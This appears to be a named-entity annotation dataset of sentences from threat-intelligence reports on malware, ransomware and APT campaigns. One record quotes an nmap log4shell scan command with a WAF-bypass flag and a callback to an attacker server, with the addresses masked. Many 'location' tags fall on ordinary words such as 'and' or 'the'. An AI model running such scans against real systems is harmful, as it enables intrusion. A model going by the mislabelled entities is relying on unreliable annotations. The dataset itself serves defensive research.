{"id":13174,"text":"USBferry malware\u2019s third version becomes resident in memory How USBferry targets air-gapped systems","entities":[{"id":41112,"label":"malware","start_offset":0,"end_offset":8},{"id":41114,"label":"tools","start_offset":64,"end_offset":72}],"relations":[],"Comments":[]}
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{"id":6054,"text":"As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.","entities":[{"id":18662,"label":"tools","start_offset":102,"end_offset":108},{"id":18663,"label":"location","start_offset":109,"end_offset":112},{"id":18664,"label":"location","start_offset":113,"end_offset":121}],"relations":[],"Comments":[]}
{"id":13529,"text":"The program aims to also equip them with a better understanding of the strategies and tactics of the country's adversaries and how the US government cyber operations defend the nation.","entities":[{"id":51590,"label":"identity","start_offset":135,"end_offset":149}],"relations":[],"Comments":[]}
{"id":4861,"text":"During our early investigation, TAG discovered the attacker\u2019s public website (no longer available) advertising account hacking capabilities for email and social media services.","entities":[{"id":50843,"label":"identity","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
{"id":1989,"text":" Unit 42 performed an in-depth analysis of the ransomware samples, the obfuscation and execution from this ransomware family, which contains very similar core functionality to the leaked Babuk\/Babyk source code.","entities":[{"id":45206,"label":"identity","start_offset":1,"end_offset":8},{"id":5874,"label":"threat-actor","start_offset":187,"end_offset":192},{"id":47099,"label":"threat-actor","start_offset":193,"end_offset":198}],"relations":[],"Comments":[]}
{"id":4259,"text":"For each of these routines, we found a recent sample going back to a domain name belonging to Patchwork\u2019s infrastructure.","entities":[{"id":50055,"label":"threat-actor","start_offset":94,"end_offset":103}],"relations":[],"Comments":[]}
{"id":2560,"text":" At this time, we do not have research that explains definitively how the Shamoon 2 attackers have obtained these credentials.","entities":[{"id":47759,"label":"threat-actor","start_offset":74,"end_offset":83}],"relations":[],"Comments":[]}
{"id":2976,"text":"Take time to ensure you have a good, complex, unguessable password.","entities":[],"relations":[],"Comments":[]}
{"id":1855,"text":"They used the command nmap  --script log4shell.nse --script-args log4shell.waf-bypass=true --script-args log4shell.callback-server=xx.xx.xx.xx:1389 -p 80,443 xx.xx.xx.xx\/xx, and set the callback server to the attacker group C&C server.       Figure 23.","entities":[{"id":5436,"label":"tools","start_offset":22,"end_offset":26}],"relations":[],"Comments":[]}
{"id":3625,"text":"This attack campaign was so generalized that the attackers didn\u2019t even bother with any theme or lure: they simply sent blank messages with malicious attachments for the recipient to open.","entities":[],"relations":[],"Comments":[]}
{"id":13062,"text":"In this blog post Trend Micro researchers discuss the malware variant\u2019s current capabilities, including the addition of features intended to make it more difficult to detect in infected machines.","entities":[],"relations":[],"Comments":[]}
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{"id":1548,"text":"Once the recipient opens the Excel spreadsheet, she or he does have trouble viewing the document: it opens as a blank spreadsheet.","entities":[{"id":45055,"label":"SOFTWARE","start_offset":29,"end_offset":34}],"relations":[],"Comments":[]}
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{"id":6413,"text":"We believe it is imperative that all security vendors create protections to detect BRc4 and that all organizations take proactive measures to defend against this tool.  Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.","entities":[{"id":19895,"label":"location","start_offset":37,"end_offset":45},{"id":19896,"label":"tools","start_offset":83,"end_offset":87},{"id":19897,"label":"location","start_offset":88,"end_offset":91},{"id":19898,"label":"location","start_offset":162,"end_offset":166},{"id":19900,"label":"location","start_offset":238,"end_offset":241}],"relations":[],"Comments":[]}
{"id":482,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
{"id":2009,"text":"At the time of writing, this site is down.","entities":[],"relations":[],"Comments":[]}
{"id":447,"text":"This year, for the first time in many years, shoppers and retailers are facing a new threat, unauthorized coin mining, driven by the surge in digital currency prices.","entities":[],"relations":[],"Comments":[]}
{"id":5137,"text":"So we need to defend in-depth and have really great monitoring and protection tools within our networks because of this challenge of lateral movement.","entities":[],"relations":[],"Comments":[]}
{"id":4838,"text":"We have seen hack-for-hire groups target human rights and political activists, journalists, and other high-risk users around the world, putting their privacy, safety and security at risk.","entities":[{"id":50793,"label":"attack-pattern","start_offset":13,"end_offset":26}],"relations":[],"Comments":[]}
{"id":1671,"text":"The malware has a full suite of possible commands, 76 to be exact.","entities":[],"relations":[],"Comments":[]}
{"id":301,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
{"id":13141,"text":"It also enables buyers to view vendor information in the same way, allowing for true apples to apples comparison.","entities":[],"relations":[],"Comments":[]}
{"id":544,"text":"Two ransomware families that utilize these types of ransom notes are Virlock and WanaCrypt0r.","entities":[{"id":46157,"label":"malware","start_offset":69,"end_offset":76},{"id":46158,"label":"malware","start_offset":81,"end_offset":92}],"relations":[],"Comments":[]}
{"id":2290,"text":"In the event that the main C2 servers do not respond, the infected systems can retrieve backup domains encrypted in the latest transaction from the following bitcoin wallet addresses:  The following 32 byte AES keys for decryption are hard coded in the binaries:  The blockchain transaction\u2019s OP_RETURN data can be decrypted using AES-256 GCM to provide a backup command and control domain name.","entities":[],"relations":[],"Comments":[]}
{"id":3619,"text":" Standard phishing attacks are broad attacks that use general email messages to carry out the attacks.","entities":[{"id":49404,"label":"attack-pattern","start_offset":10,"end_offset":26}],"relations":[],"Comments":[]}
{"id":4404,"text":"If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop.","entities":[],"relations":[],"Comments":[]}
{"id":14040,"text":"      Figure 4. Leaked assert() path     Public references to this path (the path to the c++ boost library) consist of Korean language blogs explaining how to set up a developer environment configuration using the same path.","entities":[],"relations":[],"Comments":[]}
{"id":2821,"text":" Early reports indicated that the initial attack vector was via spam and\/or phishing email.","entities":[{"id":48039,"label":"attack-pattern","start_offset":64,"end_offset":90}],"relations":[],"Comments":[]}
{"id":4220,"text":"Same as with the fake Tweety chat application we described in detail in our previous research, a Windows application with real chat features based on the open-source chat application RocketChat was offered.","entities":[{"id":50034,"label":"malware","start_offset":17,"end_offset":45}],"relations":[],"Comments":[]}
{"id":191,"text":"Future attacks may target U.S. and Western European organizations in retaliation for increased sanctions or other political measures against the Russian government.","entities":[{"id":45862,"label":"location","start_offset":35,"end_offset":51},{"id":45863,"label":"identity","start_offset":35,"end_offset":65},{"id":45861,"label":"location","start_offset":26,"end_offset":30},{"id":45864,"label":"identity","start_offset":145,"end_offset":163}],"relations":[],"Comments":[]}
{"id":451,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  Intro  ","entities":[],"relations":[],"Comments":[]}
{"id":1995,"text":"HelloXD Malware Overview Packer Analyses Ransomware Internals WTFBBQ Pivots Hunting for Ransomware Attribution Conclusion Indicators of Compromise","entities":[{"id":45217,"label":"malware","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
{"id":9962,"text":"9002 RAT also installed additional malicious tools: an exploit tool for Internet Information Services (IIS) 6 WebDav (exploiting CVE-2017-7269) and an SQL database password dumper.","entities":[{"id":30427,"label":"malware","start_offset":0,"end_offset":8},{"id":30428,"label":"location","start_offset":63,"end_offset":67},{"id":30429,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
{"id":1208,"text":" All of the identified IAP SDKs use premium SMS to provide the IAP service.","entities":[],"relations":[],"Comments":[]}
{"id":1173,"text":"Development environments don\u2019t have spell check but, maybe they should.","entities":[],"relations":[],"Comments":[]}
{"id":678,"text":"These objects are passed to the appropriate software for handling, thus any vulnerability that the software has can also be exploited by embedding it within the Adobe Flash content in the Office document.","entities":[{"id":44823,"label":"SOFTWARE","start_offset":161,"end_offset":172}],"relations":[],"Comments":[]}
{"id":6993,"text":"It checks whether the service is still running every minute, and if it is not, the service will be launched again.","entities":[{"id":21898,"label":"TIME","start_offset":47,"end_offset":59},{"id":21899,"label":"location","start_offset":61,"end_offset":64},{"id":21900,"label":"location","start_offset":91,"end_offset":95}],"relations":[],"Comments":[]}
{"id":6070,"text":"EXOTIC LILY\u2019s attack chain has remained relatively consistent throughout the time we\u2019ve been tracking the group: One notable technique is the use of domain and identity spoofing as a way of gaining additional credibility with a targeted organization.","entities":[{"id":18735,"label":"location","start_offset":77,"end_offset":81},{"id":18737,"label":"location","start_offset":156,"end_offset":159},{"id":18738,"label":"attack-pattern","start_offset":160,"end_offset":177},{"id":18739,"label":"location","start_offset":183,"end_offset":186}],"relations":[],"Comments":[]}
{"id":2222,"text":"The injected executable contains the last stage of the TDrop2 malware variant.","entities":[{"id":6630,"label":"malware","start_offset":55,"end_offset":61}],"relations":[],"Comments":[]}
{"id":1916,"text":"Other activities","entities":[],"relations":[],"Comments":[]}
{"id":2486,"text":"We also observed several alerts involving a docker container named spring4shell, which had a \/helloworld directory and had a listening port tcp\/8080.","entities":[{"id":47565,"label":"vulnerability","start_offset":67,"end_offset":79}],"relations":[],"Comments":[]}
{"id":12524,"text":"It was last updated on February 7, 2022.","entities":[],"relations":[],"Comments":[]}
{"id":5961,"text":"NOTE: On May 20th, we updated our attribution to more precisely describe our findings.","entities":[],"relations":[],"Comments":[]}
{"id":374,"text":"At the time of publication, the Palo Alto Networks attack surface management solution Cortex Xpanse identified 19,707 instances of Confluence Servers that are potentially affected by this CVE.","entities":[{"id":46070,"label":"identity","start_offset":32,"end_offset":50},{"id":46072,"label":"SOFTWARE","start_offset":131,"end_offset":149},{"id":46071,"label":"SOFTWARE","start_offset":86,"end_offset":99}],"relations":[],"Comments":[]}
{"id":9034,"text":"Killkill: Stops the backdoor\u2019s activities interval: Changes the interval in which the backdoor retrieves jobs; the default interval is set at 120 seconds cmd: Executes shell commands exe:Reflectively injects a DLL downloaded from a specific URL","entities":[{"id":27913,"label":"malware","start_offset":154,"end_offset":157},{"id":27914,"label":"location","start_offset":168,"end_offset":173}],"relations":[],"Comments":[]}
{"id":2706,"text":"The vulnerability allows an attacker to execute arbitrary code in the context of the current user within Internet Explorer.","entities":[{"id":47947,"label":"attack-pattern","start_offset":40,"end_offset":62},{"id":45668,"label":"SOFTWARE","start_offset":105,"end_offset":122}],"relations":[],"Comments":[]}
{"id":1325,"text":"It uses the MD5 of 'tucwatkins' in order to generate the key.","entities":[],"relations":[],"Comments":[]}
{"id":133,"text":" If you believe your system is being affected by this type of attack, leaving the site or closing your browser will, in most cases, end the attack.","entities":[],"relations":[],"Comments":[]}
{"id":4313,"text":"During the first phase, an email without a malicious payload containing content copied from a legitimate Pakistani newspaper\u2019s article is sent to the target.","entities":[],"relations":[],"Comments":[]}
{"id":1488,"text":"Table 2 shows select top app developers using the same certificate in signing all their apps.","entities":[],"relations":[],"Comments":[]}
{"id":2123,"text":"In some cases, this could effectively lead to a total compromise of the system.","entities":[],"relations":[],"Comments":[]}
{"id":1661,"text":"Each packet has the following structure:  < 4 Byte Little-Endian length > < 1 Byte Command >","entities":[],"relations":[],"Comments":[]}
{"id":4902,"text":"The following screenshot is an example of a fake page where the original URL is replaced with one leading to a cookie theft malware download.","entities":[],"relations":[],"Comments":[]}
{"id":13811,"text":"  Figure 9.","entities":[],"relations":[],"Comments":[]}
{"id":13043,"text":"Leading Protection for Cloud-Based Applications from Trend Micro Trend Micro announced the availability of its Trend Micro Cloud One \u2013 Application Security, a cloud native security solution for modern applications and APIs.","entities":[],"relations":[],"Comments":[]}
{"id":2249,"text":"The malware will store these command identifiers in the following files:  In the event the number after the tick was previously witnessed, the command from the C2 will be ignored.","entities":[],"relations":[],"Comments":[]}
{"id":3135,"text":"Attacks can make all the controlled routers in a botnet do anything they want, including sending huge amounts of data to try and bring websites down.","entities":[],"relations":[],"Comments":[]}
{"id":11557,"text":"We hope that improved understanding of the tactics and techniques will enhance threat hunting capability and lead to stronger user protections across the industry.","entities":[{"id":35422,"label":"location","start_offset":3,"end_offset":7},{"id":35423,"label":"location","start_offset":51,"end_offset":54},{"id":35424,"label":"location","start_offset":66,"end_offset":70},{"id":35425,"label":"location","start_offset":86,"end_offset":93},{"id":35426,"label":"location","start_offset":105,"end_offset":108},{"id":35427,"label":"threat-actor","start_offset":109,"end_offset":113},{"id":35428,"label":"location","start_offset":154,"end_offset":162}],"relations":[],"Comments":[]}
{"id":335,"text":"These use four domains registered just today:","entities":[],"relations":[],"Comments":[]}
{"id":2415,"text":" The vulnerability is caused by the getCachedIntrospectionResults method of the Spring framework wrongly exposing the class object when binding the parameters.","entities":[{"id":45509,"label":"SOFTWARE","start_offset":80,"end_offset":96}],"relations":[],"Comments":[]}
{"id":3015,"text":"While a cool news story, it\u2019s not been documented to be a broad risk, especially as devices get better at specific voice recognition.","entities":[],"relations":[],"Comments":[]}
{"id":3401,"text":"BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  8445c0189735766edf0e3d01b91f6f98563fef272ac5c92d3701a1174ad072dd  Silverlight_ins.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  89c0b2036ce8d1d91f6d8b8171219aafcd6237c811770fa16edf922cedfecc54  MTYwOTI1MzEzNQ==.exe  BIOPASS RAT Loader  Backdoor.","entities":[{"id":10265,"label":"malware","start_offset":0,"end_offset":11},{"id":10266,"label":"SHA2","start_offset":46,"end_offset":110},{"id":10267,"label":"malware","start_offset":133,"end_offset":144},{"id":10268,"label":"SHA2","start_offset":179,"end_offset":243},{"id":10269,"label":"malware","start_offset":267,"end_offset":278},{"id":49066,"label":"malware","start_offset":20,"end_offset":44},{"id":49067,"label":"FILEPATH","start_offset":112,"end_offset":131},{"id":49068,"label":"malware","start_offset":153,"end_offset":177},{"id":49069,"label":"FILEPATH","start_offset":245,"end_offset":265}],"relations":[{"id":640,"from_id":10265,"to_id":49066,"type":"duplicate-of"},{"id":641,"from_id":49067,"to_id":10266,"type":"duplicate-of"},{"id":642,"from_id":10267,"to_id":49068,"type":"duplicate-of"},{"id":643,"from_id":10269,"to_id":49068,"type":"duplicate-of"},{"id":644,"from_id":10268,"to_id":49069,"type":"duplicate-of"},{"id":645,"from_id":49067,"to_id":49066,"type":"indicates"},{"id":646,"from_id":10266,"to_id":49066,"type":"indicates"},{"id":647,"from_id":10268,"to_id":10269,"type":"indicates"},{"id":648,"from_id":49069,"to_id":10269,"type":"indicates"}],"Comments":[]}
{"id":4503,"text":"Across all Google products, we incorporate industry-leading security features and protections to keep our users safe.","entities":[{"id":50303,"label":"identity","start_offset":11,"end_offset":17}],"relations":[],"Comments":[]}
{"id":147,"text":"Ransomware is downloaded to a user\u2019s system and executed on it.","entities":[],"relations":[],"Comments":[]}
{"id":7741,"text":"One of the more typical techniques employed by TA505. .DLL downloaders that deliver FlawedAmmyy and newly styled macros","entities":[{"id":24047,"label":"tools","start_offset":84,"end_offset":95},{"id":24048,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]}
{"id":4761,"text":"Spoofers may send forged messages using an organization\u2019s real name or domain to subvert authentication measures.","entities":[],"relations":[],"Comments":[]}
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{"id":4340,"text":"The DLL file also examines drives other than C:","entities":[],"relations":[],"Comments":[]}
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{"id":12461,"text":"We received leads from the FBI that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":4275,"text":"Aside from their Delphi malware, Patchwork is still active.","entities":[{"id":50076,"label":"threat-actor","start_offset":33,"end_offset":42}],"relations":[],"Comments":[]}
{"id":8206,"text":" This is BEC as we usually know it.","entities":[],"relations":[],"Comments":[]}
{"id":2772,"text":" By October 16, 2017, that same Bitcoin was worth US $ 5,707.40: a 579% increase in value in ten and a half months.","entities":[{"id":45691,"label":"TIME","start_offset":4,"end_offset":20},{"id":45692,"label":"SOFTWARE","start_offset":32,"end_offset":39}],"relations":[],"Comments":[]}
{"id":676,"text":"In the Sofacy example, the attackers had simply made the font color white, so the text was present prior to the user enabling macros, just not clearly visible.","entities":[{"id":46249,"label":"malware","start_offset":7,"end_offset":13}],"relations":[],"Comments":[]}
{"id":4921,"text":"Our recommendations: Additional resources: Avoid & Report Phishing Emails.","entities":[],"relations":[],"Comments":[]}
{"id":84,"text":"Listening to fans won\u2019t work at the enterprise scale, but implementing widespread CPU performance monitoring could be a good way to find compromised devices.","entities":[],"relations":[],"Comments":[]}
{"id":1710,"text":"The attacker then charges a ransom (normally around $500) to give up the key that will unlock the files.","entities":[],"relations":[],"Comments":[]}
{"id":8784,"text":"We terminated 34 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
{"id":3903,"text":"Moreover, decision-makers and stakeholders should have a better understanding of cybersecurity and its role in securing their operations and the safety of consumers.","entities":[],"relations":[],"Comments":[]}
{"id":13732,"text":"We have seen two  techniques of DLL loader triggering.","entities":[],"relations":[],"Comments":[]}
{"id":3696,"text":"Both groups also employ masquerading to make features appear benign to security solutions, files or information obfuscation to make these files and information difficult to discover, software packing to conceal code, and process injection to evade process-based defense.","entities":[{"id":49487,"label":"attack-pattern","start_offset":24,"end_offset":36},{"id":49488,"label":"attack-pattern","start_offset":221,"end_offset":238},{"id":49490,"label":"attack-pattern","start_offset":183,"end_offset":199},{"id":49489,"label":"attack-pattern","start_offset":91,"end_offset":123}],"relations":[],"Comments":[]}
{"id":4557,"text":"The list of target websites for the app can be seen in the CyberChef recipe here.","entities":[{"id":50367,"label":"SOFTWARE","start_offset":59,"end_offset":68}],"relations":[],"Comments":[]}
{"id":9538,"text":"AsyncRAT \u2013 an open-source RAT that can be used to remotely monitor and control devices via an encrypted connection Trochilus \u2013 a stealthy RAT that can evade sandbox analysis and can be used in cyberespionage campaigns  Security recommendations","entities":[{"id":29259,"label":"malware","start_offset":0,"end_offset":8},{"id":29260,"label":"attack-pattern","start_offset":19,"end_offset":25},{"id":29261,"label":"location","start_offset":35,"end_offset":38},{"id":29262,"label":"location","start_offset":59,"end_offset":66},{"id":29263,"label":"location","start_offset":67,"end_offset":70},{"id":29264,"label":"malware","start_offset":115,"end_offset":124},{"id":29265,"label":"location","start_offset":147,"end_offset":150},{"id":29266,"label":"location","start_offset":174,"end_offset":177},{"id":29267,"label":"location","start_offset":178,"end_offset":181},{"id":29268,"label":"location","start_offset":219,"end_offset":227}],"relations":[],"Comments":[]}
{"id":664,"text":"Armed with the knowledge that many people will open nearly any document, even those from an untrusted source, adversaries commonly choose these files in attacks to compromise a system.","entities":[],"relations":[],"Comments":[]}
{"id":13578,"text":"The subdomains of their phishing sites were configured to match the names of the targets\u2019 domain, such as \u201c{victim\u2019s domain}[.]basic-authentication[.]live\u201d.","entities":[{"id":51660,"label":"URL","start_offset":107,"end_offset":154}],"relations":[],"Comments":[]}
{"id":12022,"text":"During the pandemic, we also uncovered attackers posing as news providers with a \u201cCovid19 news software.\u201d","entities":[],"relations":[],"Comments":[]}
{"id":2227,"text":"After dynamically loading functions and libraries, the malware iterates through the running processes and attempts to determine if the \u2018V3lite.exe\u2019 process is running.","entities":[{"id":47325,"label":"FILEPATH","start_offset":136,"end_offset":146}],"relations":[],"Comments":[]}
{"id":3511,"text":"RegManage - Lists all of the registries in the compromised host.","entities":[],"relations":[],"Comments":[]}
{"id":11552,"text":"As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.","entities":[{"id":35404,"label":"tools","start_offset":102,"end_offset":108},{"id":35405,"label":"location","start_offset":109,"end_offset":112},{"id":35406,"label":"location","start_offset":113,"end_offset":121}],"relations":[],"Comments":[]}
{"id":14322,"text":"Instructions given to the user on how to load the malicious Chrome extension  Figure 15.","entities":[{"id":48546,"label":"SOFTWARE","start_offset":60,"end_offset":67}],"relations":[],"Comments":[]}
{"id":14223,"text":"Figure 3: Part of the decryption function used in the payload","entities":[],"relations":[],"Comments":[]}
{"id":3260,"text":"It\u2019s important to note that attributes like IP address, computer and username, architecture, installed antivirus, and geolocation are included.","entities":[],"relations":[],"Comments":[]}
{"id":14261,"text":"The spyware targets Windows and Android users, and first posed as an adult game named after a popular U.S.-based adult film actress.","entities":[{"id":48471,"label":"SOFTWARE","start_offset":32,"end_offset":40},{"id":48470,"label":"SOFTWARE","start_offset":20,"end_offset":28}],"relations":[],"Comments":[]}
{"id":11606,"text":"This trend should be concerning to all Internet users.","entities":[],"relations":[],"Comments":[]}
{"id":4218,"text":"But after we reached out to Google while carrying out the research, the application was removed from the store and the link was removed from the fake website.","entities":[{"id":50033,"label":"identity","start_offset":28,"end_offset":34}],"relations":[],"Comments":[]}
{"id":5698,"text":"The social engineering techniques can be broken down into spear phishing emails and watering hole websites.","entities":[{"id":17576,"label":"location","start_offset":34,"end_offset":37},{"id":17577,"label":"attack-pattern","start_offset":58,"end_offset":72},{"id":17578,"label":"location","start_offset":80,"end_offset":83},{"id":17579,"label":"location","start_offset":93,"end_offset":97}],"relations":[],"Comments":[]}
{"id":2823,"text":" When the WanaCrypt0r ransomware executes successfully, it will encrypt key files on the system and display a ransom note as shown below (SOURCE: Microsoft).","entities":[{"id":45712,"label":"identity","start_offset":146,"end_offset":155},{"id":45711,"label":"malware","start_offset":10,"end_offset":21}],"relations":[],"Comments":[]}
{"id":9972,"text":"The remote support program recognizes the update files as normal and executes the 9002 RAT malware inside it.","entities":[{"id":30446,"label":"location","start_offset":4,"end_offset":10},{"id":30447,"label":"location","start_offset":58,"end_offset":64},{"id":30448,"label":"location","start_offset":65,"end_offset":68},{"id":30449,"label":"malware","start_offset":82,"end_offset":90}],"relations":[],"Comments":[]}
{"id":14350,"text":"It also changed its command format.","entities":[],"relations":[],"Comments":[]}
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{"id":140,"text":"Today, the number of total ransomware variants at least over 150, if not hundreds more.\u201d  It\u2019s reasonable to ask why ransomware continues not only to exist but to thrive.","entities":[],"relations":[],"Comments":[]}
{"id":8110,"text":", SideWinder does the following:  1. Device Rooting  This approach is done by the dropper app Camero and only works on Google Pixel (Pixel 2, Pixel 2 XL), Nokia 3 (TA-1032), LG V20 (LG-H990), Oppo F9 (CPH1881), and Redmi 6A devices.","entities":[{"id":25126,"label":"threat-actor","start_offset":2,"end_offset":12},{"id":25129,"label":"location","start_offset":101,"end_offset":104},{"id":25130,"label":"location","start_offset":105,"end_offset":109},{"id":25142,"label":"location","start_offset":211,"end_offset":214}],"relations":[],"Comments":[]}
{"id":13071,"text":"Post-Breach, Peatix Data Reportedly Found on Instagram, Telegram","entities":[{"id":48894,"label":"SOFTWARE","start_offset":45,"end_offset":54},{"id":48895,"label":"SOFTWARE","start_offset":56,"end_offset":64}],"relations":[],"Comments":[]}
{"id":418,"text":"Unauthorized coin mining is an attack that can cause a user\u2019s system to suddenly and unexpectedly slow down, sometimes significantly, when visiting a website.","entities":[{"id":46116,"label":"attack-pattern","start_offset":0,"end_offset":24}],"relations":[],"Comments":[]}
{"id":1439,"text":"An example taken from the popular Angry Birds app is shown in Figure 1.","entities":[{"id":46769,"label":"SOFTWARE","start_offset":34,"end_offset":45}],"relations":[],"Comments":[]}
{"id":4329,"text":"Stage 2 is also .NET DLL file that downloads a third file from parinari[.]xyz, converts it from ASCII to binary, and then creates a scheduled task to load it.","entities":[{"id":50129,"label":"DOMAIN","start_offset":63,"end_offset":77}],"relations":[],"Comments":[]}
{"id":12598,"text":"A new targeted attack has infected several organizations in Taiwan with a new ransomware family, which we have dubbed ColdLock.","entities":[],"relations":[],"Comments":[]}
{"id":4988,"text":"In September 2021, TAG detected a campaign where the exploit chain was delivered to a fully up-to-date Samsung Galaxy S10 running the latest version of Chrome.","entities":[{"id":51046,"label":"TIME","start_offset":3,"end_offset":17},{"id":51047,"label":"identity","start_offset":19,"end_offset":22},{"id":51048,"label":"SOFTWARE","start_offset":152,"end_offset":158}],"relations":[],"Comments":[]}
{"id":7964,"text":" We encourage all Android device vendors to verify the existence of this vulnerability on their devices including those with Android 4.3.","entities":[],"relations":[],"Comments":[]}
{"id":542,"text":" Unit 42 has reviewed ransom notes from different ransomware families.","entities":[{"id":46156,"label":"identity","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]}
{"id":887,"text":"Additionally, the user-agent used by the entire PClock family, including PClock2, is consistent across samples.","entities":[{"id":46417,"label":"malware","start_offset":48,"end_offset":54},{"id":46418,"label":"malware","start_offset":73,"end_offset":80}],"relations":[],"Comments":[]}
{"id":11899,"text":"The exploit targeted iOS versions 12.4 through 13.7.","entities":[],"relations":[],"Comments":[]}
{"id":9036,"text":"During our analysis, we collected a copy of the RATANKBA malware\u2019s Lazarus Remote Controller tool.","entities":[{"id":27920,"label":"tools","start_offset":48,"end_offset":56},{"id":27921,"label":"malware","start_offset":67,"end_offset":74},{"id":27922,"label":"location","start_offset":75,"end_offset":81},{"id":27923,"label":"location","start_offset":93,"end_offset":97}],"relations":[],"Comments":[]}
{"id":6297,"text":" The sample contained a malicious payload associated with Brute Ratel C4 (BRc4), the newest red-teaming and adversarial attack simulation tool to hit the market.","entities":[{"id":19518,"label":"location","start_offset":5,"end_offset":11},{"id":19520,"label":"tools","start_offset":74,"end_offset":78},{"id":19521,"label":"location","start_offset":104,"end_offset":107},{"id":19522,"label":"location","start_offset":138,"end_offset":142},{"id":19523,"label":"identity","start_offset":146,"end_offset":149},{"id":19524,"label":"location","start_offset":154,"end_offset":160}],"relations":[],"Comments":[]}
{"id":386,"text":" Thus far, Unit 42 has noted historical scans being performed by the IP addresses publicly shared by Volexity.","entities":[{"id":46084,"label":"identity","start_offset":101,"end_offset":109},{"id":46083,"label":"identity","start_offset":11,"end_offset":18}],"relations":[],"Comments":[]}
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{"id":320,"text":"We\u2019ve been highlighting the importance of controlling this threat since 2009, but five years later it remains an issue for many organizations.","entities":[{"id":46015,"label":"TIME","start_offset":66,"end_offset":76}],"relations":[],"Comments":[]}
{"id":7629,"text":"Suspicious activity involving TA505","entities":[{"id":23743,"label":"threat-actor","start_offset":30,"end_offset":35}],"relations":[],"Comments":[]}
{"id":3851,"text":"Figure 12.","entities":[],"relations":[],"Comments":[]}
{"id":13615,"text":"Here, svchost.exe (renamed legitimate and signed Launcher.exe file from Tencent) sideloads Utility.dll (patched legitimate file).","entities":[{"id":51704,"label":"FILEPATH","start_offset":49,"end_offset":61},{"id":51705,"label":"FILEPATH","start_offset":91,"end_offset":102},{"id":51703,"label":"FILEPATH","start_offset":6,"end_offset":17}],"relations":[{"id":1138,"from_id":51703,"to_id":51705,"type":"related-to"},{"id":1139,"from_id":51703,"to_id":51704,"type":"related-to"}],"Comments":[]}
{"id":5320,"text":"Encryption Cyclops Blink encrypts data using OpenSSL functions that should be available in the infected device as they are dynamically loaded.","entities":[{"id":51361,"label":"tools","start_offset":45,"end_offset":52},{"id":16368,"label":"malware","start_offset":11,"end_offset":24}],"relations":[],"Comments":[]}
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{"id":9076,"text":"A detailed timeline of the Lazarus group's operations can be seen here.","entities":[{"id":28025,"label":"threat-actor","start_offset":27,"end_offset":40},{"id":28026,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]}
{"id":6634,"text":"DarkHydrus has used custom tools in addition to publicly available red-teaming tools such as Phishery.","entities":[],"relations":[],"Comments":[]}
{"id":13620,"text":"This new import was very likely added manually by using a utility called Stud_PE.","entities":[{"id":51709,"label":"tools","start_offset":73,"end_offset":80}],"relations":[],"Comments":[]}
{"id":4567,"text":"TAG has also observed an increasing number of financially motivated actors targeting Ukraine.","entities":[{"id":50399,"label":"identity","start_offset":0,"end_offset":3},{"id":50400,"label":"location","start_offset":85,"end_offset":92}],"relations":[],"Comments":[]}
{"id":661,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
{"id":5170,"text":"This middleware software technology is responsible for running billions of public and private devices and mechanisms currently in use.","entities":[],"relations":[],"Comments":[]}
{"id":3257,"text":"      Figure 18.","entities":[],"relations":[],"Comments":[]}
{"id":4206,"text":"During their previous campaign, we found Confucius using fake romance websites to entice victims into installing malicious Android applications.","entities":[{"id":50020,"label":"threat-actor","start_offset":41,"end_offset":50},{"id":50021,"label":"SOFTWARE","start_offset":123,"end_offset":130}],"relations":[],"Comments":[]}
{"id":13008,"text":"Over the past week, TAG identified additional compromises impacting multiple Russian defense contractors and manufacturers and a Russian logistics company.","entities":[{"id":48819,"label":"location","start_offset":129,"end_offset":137},{"id":48817,"label":"location","start_offset":77,"end_offset":85},{"id":48820,"label":"identity","start_offset":20,"end_offset":24}],"relations":[],"Comments":[]}
{"id":2648,"text":"Affiliates are tasked with gaining initial access to the victim network, allowing LockBit 2.0 to conduct the rest of the attack.","entities":[{"id":47839,"label":"threat-actor","start_offset":82,"end_offset":93}],"relations":[],"Comments":[]}
{"id":13998,"text":"By some accounts, this group has been active since 2012, so there are many examples attributed to them to compare.","entities":[{"id":48785,"label":"TIME","start_offset":51,"end_offset":55}],"relations":[],"Comments":[]}
{"id":12790,"text":"Shrouded Crossbow employs three BIFROST-derived backdoors: BIFROSE, KIVARS, and XBOW.","entities":[{"id":39826,"label":"malware","start_offset":32,"end_offset":39},{"id":39829,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
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{"id":4959,"text":"Users are encouraged to take these warnings seriously and consider enrolling in the Advanced Protection Program or enabling two-factor authentication if they haven't already.","entities":[],"relations":[],"Comments":[]}
{"id":1598,"text":" Figure 1: Funtasy Trojan Disguised as TV Remote Control App.","entities":[{"id":46845,"label":"malware","start_offset":11,"end_offset":18}],"relations":[],"Comments":[]}
{"id":4498,"text":"In addition to these concerns, there are other reasons why this industry presents a risk more broadly across the Internet.","entities":[],"relations":[],"Comments":[]}
{"id":6767,"text":"In March, they were among the threat groups that were identified taking advantage of the coronavirus pandemic to trick targets.","entities":[],"relations":[],"Comments":[]}
{"id":2416,"text":" The default Spring data binding mechanism allows developers to bind HTTP request details to application-specific objects.","entities":[{"id":47493,"label":"SOFTWARE","start_offset":13,"end_offset":19}],"relations":[],"Comments":[]}
{"id":4389,"text":"The tool is written in .NET for Windows PCs and is designed to run on the attacker's machine.","entities":[{"id":50202,"label":"SOFTWARE","start_offset":32,"end_offset":39}],"relations":[],"Comments":[]}
